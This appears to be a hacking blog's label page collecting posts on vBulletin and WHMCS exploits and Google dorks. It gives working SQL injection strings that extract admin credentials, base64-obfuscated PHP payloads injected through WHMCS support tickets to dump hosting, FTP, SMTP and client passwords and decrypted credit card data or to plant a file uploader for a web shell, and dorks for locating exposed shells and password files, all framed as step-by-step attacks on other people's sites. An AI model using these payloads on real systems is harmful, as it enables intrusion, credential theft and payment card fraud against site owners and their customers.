Showing posts with label Vulenerbilty. Show all posts

vBulletin infernoshout.php 0day SQL Injection

infernoshout.php & inferno_settings.php #

go google and search :

Dork : inurl:infernoshout.php

Vulnerable code
--------------------------------------------------------------------------

$commands = unserialize($this->settings['s_commands']);

if ($this->vbulletin->db->affected_rows() < 1 && !$this->vbulletin->db->query_first("select * from " . TABLE_PREFIX . "infernoshoutusers where s_user='{$this->vbulletin->userinfo['userid']}'"))

{

            $this->vbulletin->db->query("

                insert into " . TABLE_PREFIX . "infernoshoutusers

                (s_user, s_commands)

                values

                ({$this->vbulletin->userinfo['userid']}, '" . serialize($commands) . "')

");

        }
-------------------------------------------------------------------------

Exploit link
http://site.com/infernoshout.php?do=options&area=commands

-------------------------------------------------------------------------
SQL Injection Code :

-------------------------------------------------------------------------

' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password,0x3a,salt) as char),0x7e)) from user where userid=1 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND ''='#

--------------------------------------------------------------------------

Insert SQL injection into the first "Command Input" box and enter anything into the first "Command Output" box, hit save settings, you will be treated with a database error, view the page source and scroll to the bottom of the page, you will see some quoted text containing the data you want.

-------------------------------------------------------------------------

Video Tutorial :

http://www.youtube.com/watch?v=g70_JaKnBbw

------------------------------------------------------------------------

Comments : 0

Posted :

Tag : Tricks And Tutorials, Vulenerbilty,

WHMCS Hacking with Sumbit Ticket exploit

Credit DevilCafe

Today we are going to learn, how to Hack WHMCS or you can say its submit ticket exploit ,through which we will we will get the cpanel username and password of hosting panel and website hosted on that whmcs.
lets start
step 1
Get a website which provide hosting and find out the option " submit ticket"
step 2
now open submit ticket option and click on sales department
st1.png (1366×774)

step 3
now we have to fill the following
info like "name , email address, urgency put any random info is these fields and main thing is subject filed"
st2.png (1366×768)

fill this code in subject field

{php}evaL(base64_decode('DQppbmNsdWRlKCdjb25maWd1cmF0aW9uLnBocCcpOw0KDQokcXVlcnkgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0YmxzZXJ2ZXJzIik7DQokdGV4dD0kdGV4dC4iXHJcbiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgSE9TVCBST09UUyAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcclxuIjsNCndoaWxlKCR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KDQokaXBhZGRyZXNzID0gJHZbJ2lwYWRkcmVzcyddOw0KJHVzZXJuYW1lID0gJHZbJ3VzZXJuYW1lJ107DQokdHlwZSA9ICR2Wyd0eXBlJ107DQokYWN0aXZlID0gJHZbJ2FjdGl2ZSddOw0KJGhvc3RuYW1lID0gJHZbJ2hvc3RuYW1lJ107DQoNCg0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KDQokdGV4dD0kdGV4dC4iVHlwZSAkdHlwZVxyXG4iOw0KJHRleHQ9JHRleHQuIkFjdGl2ZSAkYWN0aXZlXHJcbiI7DQokdGV4dD0kdGV4dC4iSG9zdG5hbWUgJGhvc3RuYW1lXHJcbiI7DQokdGV4dD0kdGV4dC4iSXAgJGlwYWRkcmVzc1xyXG4iOw0KJHRleHQ9JHRleHQuIlVzZXJuYW1lICR1c2VybmFtZVxyXG4iOw0KJHRleHQ9JHRleHQuIlBhc3N3b3JkICRwYXNzd29yZFxyXG4qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKlxyXG4iOw0KDQoNCn0NCiR0ZXh0PSR0ZXh0LiJcclxuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyBIT1NUIFJPT1RTICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xyXG4iOw0KDQokdGV4dD0kdGV4dC4iXHJcbiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgRG9tYWluIFJlc2VsbGVyICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xyXG4iOw0KDQokcXVlcnkgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0YmxyZWdpc3RyYXJzIik7DQoNCndoaWxlKCR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KDQokcmVnaXN0cmFyIAk9ICR2WydyZWdpc3RyYXInXTsNCiRzZXR0aW5nID0gJHZbJ3NldHRpbmcnXTsNCiR2YWx1ZSA9IGRlY3J5cHQgKCR2Wyd2YWx1ZSddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCmlmICgkdmFsdWU9PSIiKSB7DQokdmFsdWU9MDsNCn0NCiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCiR0ZXh0PSR0ZXh0LiIkcmVnaXN0cmFyICRzZXR0aW5nICR2YWx1ZVxyXG4iOw0KfQ0KJHRleHQ9JHRleHQuIlxyXG4jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIERvbWFpbiBSZXNlbGxlciAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcclxuIjsNCg0KJHRleHQ9JHRleHQuIlxyXG4jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIEZUUCArU01UUCAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcclxuIjsNCgkkcXVlcnkgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0Ymxjb25maWd1cmF0aW9uIHdoZXJlIHNldHRpbmc9J0ZUUEJhY2t1cEhvc3RuYW1lJyBvciBzZXR0aW5nPSdGVFBCYWNrdXBVc2VybmFtZScgb3IgIHNldHRpbmc9J0ZUUEJhY2t1cFBhc3N3b3JkJyBvciAgc2V0dGluZz0nRlRQQmFja3VwRGVzdGluYXRpb24nIG9yICBzZXR0aW5nPSdTTVRQSG9zdCcgb3IgIHNldHRpbmc9J1NNVFBVc2VybmFtZScgb3Igc2V0dGluZz0nU01UUFBhc3N3b3JkJyBvciAgc2V0dGluZz0nU01UUFBvcnQnIik7DQp3aGlsZSgkdiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCiR2YWx1ZSA9JHZbJ3ZhbHVlJ107DQppZiAoJHZhbHVlPT0iIikgew0KJHZhbHVlPTA7DQp9DQoNCiR0ZXh0PSR0ZXh0LiR2WydzZXR0aW5nJ10uIiAiLiR2YWx1ZS4iXHJcbiIgOw0KCQ0KfQ0KCQ0KCQ0KCSR0ZXh0PSR0ZXh0LiJcclxuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyBGVFAgK1NNVFAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXHJcbiI7DQoJDQoJCSR0ZXh0PSR0ZXh0LiJcclxuIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyBDbGllbnQgUjAwdHMgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXHJcbiI7DQogJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJsaG9zdGluZyB3aGVyZSB1c2VybmFtZSA9ICdyb290JyBvciB1c2VybmFtZSA9ICdBZG1pbicgb3IgdXNlcm5hbWUgPSAnYWRtaW4nIG9yIHVzZXJuYW1lID0gJ0FkbWluaXN0cmF0b3InIG9yICB1c2VybmFtZSA9ICdhZG1pbmlzdHJhdG9yJyBvcmRlciBieSBkb21haW5zdGF0dXMiKTsNCg0KIA0KICAgIHdoaWxlKCR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KICAgJHRleHQ9JHRleHQuIlxyXG5Eb21haW4gIi4kdlsnZG9tYWluJ10uIlxyXG5JUCAiLiR2WydkZWRpY2F0ZWRpcCddLiJcclxuVXNlcm5hbWUgIi4kdlsndXNlcm5hbWUnXS4iXHJcblBhc3N3b3JkICIuZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpLiJcclxuRG9tYWluc3RhdHVzIi4kdlsnZG9tYWluc3RhdHVzJ10uIlxyXG4iOw0KICAgIH0NCgkkdGV4dD0kdGV4dC4iXHJcbiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgQ2xpZW50IFIwMHRzICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xyXG4iOw0KCQ0KCQkkdGV4dD0kdGV4dC4iXHJcbiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgQ2xpZW50IEhPU1QgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXHJcbiI7DQogJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJsaG9zdGluZyB3aGVyZSBkb21haW5zdGF0dXM9J0FjdGl2ZSciKTsNCg0KIA0KICAgIHdoaWxlKCR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KCWlmICgoJHZbJ3VzZXJuYW1lJ10gKSBhbmQgKCR2WydwYXNzd29yZCddKSkgew0KICAgJHRleHQ9JHRleHQuIlxyXG5Eb21haW4gIi4kdlsnZG9tYWluJ10uIlxyXG5JUCAiLiR2WydkZWRpY2F0ZWRpcCddLiJcclxuVXNlcm5hbWUgIi4kdlsndXNlcm5hbWUnXS4iXHJcblBhc3N3b3JkICIuZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpLiJcclxuRG9tYWluc3RhdHVzIi4kdlsnZG9tYWluc3RhdHVzJ10uIlxyXG4iOw0KICAgIH0NCgl9DQoJJHRleHQ9JHRleHQuIlxyXG4jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIENsaWVudCBIT1NUICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xyXG4iOw0KCQ0KCQ0KCQkkdGV4dD0kdGV4dC4iXHJcbiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgQ2xpZW50IENDICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xyXG4iOw0KCSRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIGB0YmxjbGllbnRzYCBXSEVSRSBjYXJkdHlwZSA8PiAnJyBvcmRlciBieSBpc3N1ZW51bWJlciBkZXNjIik7DQoNCgkNCndoaWxlKCR2ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KJGNjaGFzaCA9IG1kNSggJGNjX2VuY3J5cHRpb25faGFzaC4kdlsnMCddKTsNCiRzPSAgbXlzcWxfcXVlcnkoInNlbGVjdCBjYXJkdHlwZSxBRVNfREVDUllQVChjYXJkbnVtLCd7JGNjaGFzaH0nKSBhcyBjYXJkbnVtLEFFU19ERUNSWVBUKGV4cGRhdGUsJ3skY2NoYXNofScpIGFzIGV4cGRhdGUsQUVTX0RFQ1JZUFQoaXNzdWVudW1iZXIsJ3skY2NoYXNofScpIGFzIGlzc3VlbnVtYmVyLEFFU19ERUNSWVBUKHN0YXJ0ZGF0ZSwneyRjY2hhc2h9JykgYXMgc3RhcnRkYXRlICBGUk9NIGB0YmxjbGllbnRzYCB3aGVyZSBpZD0nIi4kdlsnMCddLiInIiApOw0KDQokdjI9bXlzcWxfZmV0Y2hfYXJyYXkoJHMpOw0KDQogICR0ZXh0PSR0ZXh0LiJcclxuIi4kdjJbMF0uInwiLiR2MlsxXS4ifCIuJHYyWzJdLiJ8Ii4kdjJbM10uInwiLiR2Mls0XTsNCn0NCg0KDQogICANCiANCgkkdGV4dD0kdGV4dC4iXHJcbiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgQ2xpZW50IENDICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xyXG4iOw0KCQ0KCWVjaG8oJHRleHQpOw=='));exit;{/php}

and scroll down fill the Captcha click the submit button
st3.png (1366×768)

we will be redirected to next page where it will show cpanel username and password
boom ! you have cpanel usernames and passwords of hosting panel,website hosted on that server
if you are lucky , you may also get the FTP and SMTP passwords too !
st5.png (1368×610)

ok it was all about the the cpanel,FTP and SMTP passwords if whmcs dont have any website hosted on it you wont get anything then ????????
dont be sad :)
we have one more trick and this will help you to upload the shell on whmcs website :)
how ???
lets move :)
come back to the submit ticket page put any random info in email,name and urgency field
main step is to put the php code in subject field this time we are going to put the php code, if it got executed successfully we will get a uploader on the website through which we will be able to upload shell on the website so lets start
fill the any random info in other fields and put this php code in subject field

{php}eval(base64_decode('JGM9YmFzZTY0X2RlY29kZSgiUEQ5d2FIQU5DbWxtS0dsemMyVjBLQ1JmVUU5VFZGc25VM1ZpYldsMEoxMHBLWHNOQ2lBZ0lDQWtabWxzWldScGNpQTlJQ0lpT3lBTkNpQWdJQ0FrYldGNFptbHNaU0E5SUNjeU1EQXdNREF3SnpzTkNnMEtJQ0FnSUNSMWMyVnlabWxzWlY5dVlXMWxJRDBnSkY5R1NVeEZVMXNuYVcxaFoyVW5YVnNuYm1GdFpTZGRPdzBLSUNBZ0lDUjFjMlZ5Wm1sc1pWOTBiWEFnUFNBa1gwWkpURVZUV3lkcGJXRm5aU2RkV3lkMGJYQmZibUZ0WlNkZE93MEtJQ0FnSUdsbUlDaHBjM05sZENna1gwWkpURVZUV3lkcGJXRm5aU2RkV3lkdVlXMWxKMTBwS1NCN0RRb2dJQ0FnSUNBZ0lDUmhZbTlrSUQwZ0pHWnBiR1ZrYVhJdUpIVnpaWEptYVd4bFgyNWhiV1U3RFFvZ0lDQWdJQ0FnSUVCdGIzWmxYM1Z3Ykc5aFpHVmtYMlpwYkdVb0pIVnpaWEptYVd4bFgzUnRjQ3dnSkdGaWIyUXBPdzBLSUNBTkNtVmphRzhpUEdObGJuUmxjajQ4WWo1RWIyNWxJRDA5UGlBa2RYTmxjbVpwYkdWZmJtRnRaVHd2WWo0OEwyTmxiblJsY2o0aU93MEtmUTBLZlEwS1pXeHpaWHNOQ21WamFHOG5EUW84Wm05eWJTQnRaWFJvYjJROUlsQlBVMVFpSUdGamRHbHZiajBpSWlCbGJtTjBlWEJsUFNKdGRXeDBhWEJoY25RdlptOXliUzFrWVhSaElqNDhhVzV3ZFhRZ2RIbHdaVDBpWm1sc1pTSWdibUZ0WlQwaWFXMWhaMlVpUGp4cGJuQjFkQ0IwZVhCbFBTSlRkV0p0YVhRaUlHNWhiV1U5SWxOMVltMXBkQ0lnZG1Gc2RXVTlJbE4xWW0xcGRDSStQQzltYjNKdFBpYzdEUXA5RFFvL1BpQT0iKTsNCiRmaWNoaWVyID0gZm9wZW4oJ2Rvd25sb2Fkcy9pbmRleHgucGhwJywndycpOw0KZndyaXRlKCRmaWNoaWVyLCAkYyk7DQpmY2xvc2UoJGZpY2hpZXIpOw=='));exit;{/php}

fill the captcha click enter, now first of all , have a look on the submit ticket url
for example
http://www.website.com/client/submitticket.php
so to get the uploader replace the submitticket.php with downloads/indexx.php
remember its indexx.php,when code will execute , it will create indexx.php and its uploader
so open the url
http://www.website.com/client/downloads/indexx.php
you will see file upload option !
st6.png (1368×768)

browse the shell and click upload after uploading shell
opn the url
http://www.website.com/client/downloads/shell_name.php

Comments : 0

Posted :

Tag : Exploits, Tricks And Tutorials, Vulenerbilty,

Find Passwords and Uploaded PHP Shells via Google using Private Dorks

Google can be used to find some shells and password to bypass the security and do anything being an admin of that website etc.
So here are the steps and Dorks are listed below too
Go to Google.com and type these Dorks, and you will got a Lot of uploaded shells in Google serach results !!

Dorks for finding shells:

inurl:.php “cURL: ON MySQL: ON MSSQL: OFF”

“Shell” filetype:php intext:”uname -a:” “EDT 2010″

intitle:”intitle:r57shell” [ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ]

inurl:”c99.php” & intext:Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

inurl:”c100.php” & intext:Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

intitle:”Shell” inurl:”.php” & intext:Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update

Dorks for finding Passwords:

filetype:htpasswd htpasswd
intitle:”index of” “.htpasswd” -intitle:”dist” -apache -htpasswd.c
index.of.private (algo privado)
intitle:index.of master.passwd
inurlasslist.txt (para encontrar listas de passwords)
intitle:”index of..etc” passwd
intitle:admin intitle:login
“incorrect syntax near” (sql script error)
intitle:”the page cannot be found” inetmgr (debilidad en iis4)
intitle:index.of ws_ftp.ini
“supplied arguments is not a valid postgresql result” (possible debilidad sql)
_vti_pvt password intitle:index.of (frontpage)
inurl:backup intitle:index.of inurl:admin
“index of /backup”
index.of.password
index.of.winnt

inurl:”auth_user_file.txt”
“index of /admin”
“index of /password”
“index of /mail”
“index of /” +passwd
index of /” +.htaccess
index of ftp +.mdb allinurl:/cgi-bin/ +mailto
allintitle: “index of/admin”
allintitle: “index of/root”
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
administrator.pwd.index
authors.pwd.index
service.pwd.index
filetype:config web
gobal.asax index
inurlasswd filetype:txt
inurl:admin filetypeBig Grinb
inurl:iisadmin
inurl:”auth_user_file.txt”
inurl:”wwwroot/*.”
allinurl: winnt/system32/ (get cmd.exe)
allinurl:/bash_history
intitle:”index of” .sh_history
intitle:”index of” .bash_history
intitle:”index of” passwd
intitle:”index of” people.1st
intitle:”index of” pwd.db
intitle:”index of” etc/shadow
intitle:”index of” spwd
intitle:”index of” master.passwd
intitle:”index of” htpasswd
intitle:”index of” members or accounts
intitle:”index of” user_carts or user _cart

Comments : 2

Posted :

Tag : Dork, Tricks And Tutorials, Vulenerbilty,

Download Art of Spectral Penetration Testing E-Book by James Codis | Download Free E-Book

Download Art of Spectral Penetration Testing E-Book by James Codis

This E-book will help you in advanced hacking attacks !

This e-book is published by Vineet Kumar a.k.a James Codis

So just start learning something advance in field of hacking from this e-book !

Direct Download

Mediafire

Comments : 0

Posted :

Tag : Ebooks, Hardware Hacking, Tricks And Tutorials, Video Tutorial, Vulenerbilty,

Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day

# Exploit Title: Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day

# Google Dork: intitle: powered by Vbulletin 4

# Date: 20/07/2011

# Author: FB1H2S    

# Software Link: [[url]http://www.vbulletin.com/][/url]

# Version: [4.x.x]

# Tested on: [relevant os]

# CVE : [[url]http://members.vbulletin.com/][/url]

######################################################################################################

Vulnerability:

######################################################################################################

Vbulletin
 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in 
parameter "&messagegroupid" due to improper input validation.

#####################################################################################################

Vulnerable Code:

#####################################################################################################

File:    /vbforum/search/type/socialgroupmessage.php

Line No: 388

Paramater : messagegroupid

        if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0)

        {

            $value = $registry->GPC['messagegroupid'];

            if (!is_array($value))

            {

                $value = array($value);

            }

            if (!(in_array(' ',$value) OR in_array('',$value)))

            {

                if ($rst = $vbulletin->db->query_read("

                    SELECT socialgroup.name

                    FROM " . TABLE_PREFIX."socialgroup AS socialgroup

--->                 WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")

            }

############################################################################################

Exploitation:

############################################################################################

Post data on: -->search.php?search_type=1

          --> Search Single Content Type

Keywords :   Valid Group Message

Search Type : Group Messages 

Search in Group : Valid Group Id

&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#

##########################################################################################

More Details:

##########################################################################################

Http://www.Garage4Hackers.com

http://www.garage4hackers.com/showthread.php?1177-Vbulletin-4.0.x-gt-4.1.3-(messagegroupid)-SQL-injection-Vulnerability-0-day

###########################################################################################

Note:

###########################################################################################

Funny
 part was that, a similar bug was found in the same module, search query
 two months back. Any way Vbulletin has released a patch as it was 
reported to them by altex, hence

customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there.

Comments : 0

Posted :

Tag : Vulenerbilty,

vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability

====================================================================

#vBulletin  4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability#

====================================================================

#                                                                  #

#         888     d8          888   _   888          ,d   d8       #

#    e88~\888    d88   888-~\ 888 e~ ~  888-~88e  ,d888 _d88__     #

#   d888  888   d888   888    888d8b    888  888b   888  888       #

#   8888  888  / 888   888    888Y88b   888  8888   888  888       #

#   Y888  888 /__888__ 888    888 Y88b  888  888P   888  888       #

#    "88_/888    888   888    888  Y88b 888-_88"    888  "88_/     #

#                                                                  #

====================================================================

#PhilKer - PinoyHack - RootCON - GreyHat Hackers - Security Analyst#

====================================================================

#[+] Discovered By   : D4rkB1t

#[+] Site            : NaN

#[+] support e-mail  : d4rkb1t@live.com

Product: http://www.vbulletin.com

Version: 4.0.x

Dork : inurl:"search.php?search_type=1"

--------------------------

#   ~Vulnerable Codes~   #

--------------------------

/vb/search/searchtools.php - line 715;

/packages/vbforum/search/type/socialgroup.php - line 201:203;

--------------------------

#        ~Exploit~       #

--------------------------

POST data on "Search Multiple Content Types" => "groups"

&cat[0]=1) UNION SELECT database()#

&cat[0]=1) UNION SELECT table_name FROM information_schema.tables#

&cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#

More info: http://j0hnx3r.org/?p=818

--------------------------

#        ~Advice~        #

--------------------------

Vendor already released a patch on vb#4.1.3.

UPDATE NOW!

====================================================================

# 1337day.com [2011-5-21]

====================================================================

Comments : 0

Posted :

Tag : Vulenerbilty,

Point Market System 3.1x vbulletin plugin SQLi Vulnerability

#(+)Exploit Title: Point Market System 3.1x vbulletin plugin SQL

Injection Vulnerability

#(+)Author   : Net.Edit0r

#(+) E-mail  : Black.hat.tm@Gmail.com

#(+) dork    : intext:Point Market System 3.1x

#(+) Versian : [3.1x]

#(+) Category : Web Apps [SQl]

#(+) Platform : Tested on: linux

#(+) Download plugin : http://www.megaupload.com/?d=2R592KO0

____________________________________________________________________

____________________________________________________________________

You must register on the site !

The security problem in the file "market.Php" has been created. You

can disable this security problem Plagn take it away.

[~] Vulnerable File :

#      [+]http://localhost.com/market.php?do=cat&id=[SQL]

[~] SQL injection Vulnerability

#      [+]-1+union+select+1,2,3,4,5,6,@@version,8,9,10,11,12,13--

#      [+]http://localhost.com/market.php?do=cat&id=-1+union+select+1,2,3,4,5,6,@@version,8,9,10,11,12,13--

[~] Demo Vedio :

Vedio : http://www.multiupload.com/S28Z2FCZQD

[~] Full Info plugin Point Market

http://www.vbulletin.org/forum/showthread.php?p=2159503#post2159503

____________________________________________________________________

____________________________________________________________________

########################################################################

(+)IRANIAN Young HackerZ # Persian Gulf

(+)Black Hat Group Member : Net.Edit0r & DarkCoder & p3nt3st3r & H3x &

3H34N & D3adly #BHG

(+)Sp My Best Friend : HUrr!c4nE ~ b3hz4d ~ Virangar ~ S3cR3T ~ M4hd1

~ Mikili ~ P0W3RFU7 ~  Ali.Erroor and all Friends

(+)Gr33ts to : All Iranian HackerZ

########################################################################

Comments : 0

Posted :

Tag : Vulenerbilty,

Labels

Popular Posts

Blogroll

Recent Comments

BlogRoll

Recent Posts

Showing posts with label Vulenerbilty. Show all posts

vBulletin infernoshout.php 0day SQL Injection

WHMCS Hacking with Sumbit Ticket exploit

Find Passwords and Uploaded PHP Shells via Google using Private Dorks

Dorks for finding shells:

Dorks for finding Passwords:

Download Art of Spectral Penetration Testing E-Book by James Codis | Download Free E-Book

Download Art of Spectral Penetration Testing E-Book by James Codis

Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day

vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection Vulnerability

Point Market System 3.1x vbulletin plugin SQLi Vulnerability

About Hacking Cracking Tricks

Recent Post